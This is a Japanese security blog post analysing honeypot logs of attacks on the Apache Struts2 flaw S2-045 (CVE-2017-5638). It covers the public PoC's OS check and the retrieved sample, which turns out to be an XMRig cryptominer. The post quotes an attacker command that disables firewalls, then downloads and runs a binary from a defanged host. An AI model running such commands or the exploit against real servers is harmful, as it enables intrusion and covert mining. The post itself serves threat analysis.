おふとん

IT全般、セキュリティとかCTFとかに偏りがち

Apache Struts2のへの攻撃ログ(S2-045/CVE-2017-5638)と検体について

ハニーポット(WOWHoneypot)にApache Struts2脆弱性(S2-045/CVE-2017-5638)を狙った攻撃が来ていたので動向を見てみました。
これらの通信は8088/tcp、8090/tcp、8880/tcpに3つずつリクエストが来ており以下は8090/tcpの例となっています。

[ログ1]OS調査


通信を見ると攻撃は公開されているPoCを改変したものだと思われます。
Struts2_045-Poc/s2-045.py at master · tengzhangchao/Struts2_045-Poc · GitHub


このPoCは(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))の部分でOS名にwinが入っているかを判定して次のコマンド実行に繋げます。
winが入っていた場合はコマンドプロンプトでecho windows--2017を、入っていなかった場合はbashでecho linux--2017を実行します。


またこの攻撃は実行結果をレスポンスとして返すことが出来ます。
上記のPoCを脆弱な環境を構築して実行した結果が以下の通りです。

[攻撃の成功例]

f:id:yu_sh38:20180811225824p:plain

実行されたecho nMaskの結果がレスポンスとして返って来ていることが確認出来ます。
攻撃者は攻撃が成功した場合、このレスポンスからOSを判断し次の攻撃に繋げます。
またWOWHoneypotのデフォルト設定ではこの通信に対してはLinuxとして振舞います。
詳しくは
Math&Response Rule · morihisa/WOWHoneypot Wiki · GitHub

[ログ2]マルウェアDL&実行


完全にLinux決め打ちで攻撃が行われています。
#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;
reSuSEfirewall2 stop;wget -c hxxp://xxx.xxx.xxx.xxx:xxxx/servic;chmod 777 servic;./servic;'
が実行されるのでファイアウォール全て切ってから、wgetマルウェアDL、権限を付与して実行の流れです。
ufwがないってことはRedhat系決め打ちなんですかね、Debian弾くような情報はログ1からでは得られないはずなのに...

[ログ3]???


最後に空のコマンドを実行する通信?これは意図が分かりませんでした。

[検体]

wgetしようとしていた先がまた生きていたので解析のために取得してきました。
64bitで動作するELFファイルです。

[VirusTotal]

f:id:yu_sh38:20180811234523p:plain


マイナーかーと思いstringsしてみたら
f:id:yu_sh38:20180811234644p:plain


思いっきり以下のような文がありました。
オープンソースのマイナーXMRigが組み込まれているみたいです。Usageも一致
GitHub - xmrig/xmrig: Monero (XMR) CPU miner


本格的な解析は明日

[追記]

XMRigが組み込まれていると言うよりもXMRigのマイナーAppそのものでした。
起動時のバージョン出力などの挙動が露見する一部の機能は取り除かれていましたが解析を阻むような機構は一切ありませんでした。簡単なパッキングすら無し。